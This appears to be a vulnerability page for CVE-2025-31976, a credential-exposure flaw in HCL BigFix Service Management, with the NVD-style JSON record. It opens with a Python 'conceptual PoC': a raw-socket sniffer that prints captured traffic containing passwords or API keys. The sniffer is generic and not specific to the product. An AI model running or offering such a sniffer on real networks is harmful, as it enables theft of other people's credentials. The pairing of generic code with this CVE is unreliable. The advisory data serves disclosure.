CVE-2025-31976

import socket import struct # Conceptual PoC: Sniffer for unencrypted credentials in transit # This script demonstrates how an attacker might capture packets # on the same network to extract vulnerable credentials. def sniff_credentials(interface): # Create a raw socket try: s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) except socket.error as msg: print(f"Socket could not be created. Error: {msg}") return print(f"[*] Sniffing on {interface} for potential credential leakage...") while True: packet = s.recvfrom(65565) packet = packet[0] # Parse Ethernet header (simplified) eth_length = 14 if len(packet) > eth_length: # Extract payload/data part (simplified for demonstration) data = packet[eth_length:] # Check for patterns indicating credentials (e.g., 'token', 'auth') # In a real scenario, specific protocol parsing would be required. data_str = data.decode('utf-8', errors='ignore') if "password" in data_str.lower() or "api_key" in data_str.lower(): print(f"[+] Captured potential credential data: {data_str[:100]}...") if __name__ == "__main__": # Note: Requires root privileges to run raw sockets sniff_credentials("eth0")

{"cve": {"id": "CVE-2025-31976", "sourceIdentifier": "[email protected]", "published": "2026-05-06T15:16:06.100", "lastModified": "2026-05-07T16:30:53.400", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL BigFix Service Management (SM) is vulnerable to insufficiently protected credentials for a short duration while communicating with a backend, internal application which could allow an attacker to potentially misuse them, if exfiltrated. ."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_service_management:23.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D915AC1-7C2B-497D-9A77-9726954B2282"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0128144", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}